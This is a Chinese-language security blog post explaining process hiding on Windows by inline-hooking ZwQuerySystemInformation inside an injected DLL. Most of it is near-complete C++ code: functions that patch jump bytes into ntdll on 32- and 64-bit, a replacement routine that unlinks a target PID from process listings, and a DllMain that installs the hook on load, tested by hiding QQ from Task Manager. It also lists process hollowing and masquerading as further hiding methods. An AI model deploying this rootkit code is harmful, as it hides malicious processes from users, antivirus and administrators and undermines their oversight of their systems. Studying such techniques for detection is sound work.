干货 ｜ 通过HOOK底层API实现进程隐藏
VSole2021-07-17 10:40:07
前言
一次跟师傅交流时师傅谈到有些EDR或AV,他们保护目标主机,甚至无进程,不经想到病毒实际上也常用这种技术。当然,做到隐藏,一个简单的dll注入或者劫持就可以,但本文主要讲解关于进程的隐藏。
PE文件隐藏可以通过
•进程伪装: 将进程名替换成其他正常进程的名称(修改PEB路径和命令行信息)•傀儡进程: 通过将主进程挂起,替换内存数据,卸载镜像,修改上下文,并执行真正我们想要执行的进程,这也是一些壳的原理
•HOOK: 通过HOOK三环最底层APIZwQuerySystemInformation实现隐藏,这是本文的重点•COM劫持、DLL劫持、DLL注入......
实现原理
在正向开发中,要想做到进程遍历,往往需要使用EnumProcess或是快照CreateToolhelp32Snapshot这些函数 而这些函数的底层(ring 3),都是调用的ZwQuerySystemInformation
NTSTATUS WINAPI ZwQuerySystemInformation( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );
如果通过hook进行对ZwQuerySystemInformation的重定向,那么就可以改变执行流,返回的信息中已经被我们篡改。32位下和64位下需要修改的字节数是不同的,使用xdbg断点找到对应的硬编码
32位下: 需要修改5个字节硬编码
0xe9 xx xx xx xx
64位下: 需要修改12个字节的硬编码
0x48 0xb8, xx xx xx xx xx xx xx xx 0xFF 0xE0
64位下该函数的名称已经改为RtlGetNativeSystemInformation。将hookZwQuerySystemInformation函数写在dll中,这样方便注入到任何进程中。
实现代码
hook函数
void hookZwQuerySystemInformation()
{
//获取ZwQuerySystemInformation的地址
HMODULE hntdll = LoadLibraryA("ntdll.dll");
if (!hntdll) {
std::cout << "[!] Load ntdll Faild..";
return;
}
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
#else
typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
#endif
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hntdll, "ZwQuerySystemInformation");
if (!ZwQuerySystemInformation) {
std::cout << "[!] Get ZwQuerySystemInformation Addr Faild..";
return;
}
#ifdef _WIN64
BYTE pData[12] = { 0x48,0xb8,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xFF,0xE0 };
ULONGLONG InfoAddr = (ULONGLONG)New_ZwQuerySystemInformation;
::RtlCopyMemory(&pData[2], &InfoAddr, sizeof(InfoAddr));
// 保存前 12 字节数据
::RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData));
#else
BYTE pData[5] = { 0xe9,0x0,0x0,0x0,0x0 };
//算出偏移地址
DWORD dwOffeset = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;
//得到完整的pData
RtlCopyMemory(&pData[1], &dwOffeset, sizeof(dwOffeset));
//保存原来的硬编码
RtlCopyMemory(g_Oldwin32, ZwQuerySystemInformation, sizeof(pData));
#endif
DWORD dwOldProtect = NULL;
//修改为可写属性,不然会0xC00005访问错误
VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);
//修改硬编码
RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));
//还原保护属性
VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);
}
unhook函数
void unhookZwQuerySystemInformation()
{
//获取ZwQuerySystemInformation的地址
HMODULE hntdll = LoadLibraryA("ntdll.dll");
if (!hntdll) {
std::cout << "[!] Load ntdll Faild..";
return;
}
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
#else
typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
#endif
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hntdll, "ZwQuerySystemInformation");
if (!ZwQuerySystemInformation) {
std::cout << "[!] Get ZwQuerySystemInformation Addr Faild..";
return;
}
DWORD dwOldProtect = NULL;
//方便就直接改12个字节的可写属性
VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);
//还原原来的硬编码
#ifdef _WIN64
RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin64));
#else
RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32));
#endif
//还原属性
VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);
}
自己可控的函数,即New_ZwQuerySystemInformation
NTSTATUS WINAPI New_ZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength)
{
NTSTATUS status = NULL;
PSYSTEM_PROCESS_INFORMATION pCur = NULL, pPrev = NULL;
DWORD dwHideProcessId = 29936;
//先卸载钩子
unhookZwQuerySystemInformation();
// 获取 ntdll.dll 的加载基址, 若没有则返回
HMODULE hntdll = LoadLibraryA("ntdll.dll");
if (!hntdll) {
std::cout << "[!] Load ntdll Faild..";
return status;
}
// 获取 ZwQuerySystemInformation 函数地址
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
#else
typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
#endif
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hntdll, "ZwQuerySystemInformation");
if (!ZwQuerySystemInformation) {
std::cout << "[!] Get ZwQuerySystemInformation Addr Faild..";
return status;
}
//调用原来的函数,第二个参数是返回请求的信息
status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
if (NT_SUCCESS(status) && 5 == SystemInformationClass)
{
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
while (TRUE)
{
// 判断是否是要隐藏的进程PID,是就把该进程信息删除
if (dwHideProcessId == (DWORD)pCur->UniqueProcessId)
{
if (0 == pCur->NextEntryOffset)
{
pPrev->NextEntryOffset = 0;
}
else
{
pPrev->NextEntryOffset = pPrev->NextEntryOffset + pCur->NextEntryOffset;
}
}
else
{
pPrev = pCur;
}
if (0 == pCur->NextEntryOffset)
{
break;
}
pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE*)pCur + pCur->NextEntryOffset);
}
}
//挂钩
hookZwQuerySystemInformation();
return status;
}
以上函数全部写在dll中,dllmain主函数:
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
hookZwQuerySystemInformation();
g_hModule = hModule;
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
unhookZwQuerySystemInformation();
break;
}
return TRUE;
}
测试
•win10•64位dll•Injectdll(进程注入程序)•Taskmgr.exe
要注意的是dll的位数。找到任务管理器pid:
这里选择隐藏QQ程序
注入程序后
可以看到QQ进程信息已经剔除
思考
如何将所有进程钩住? 使用全局钩子,这里我认为是两个知识点,就不继续展开说了。
VSole
网络安全专家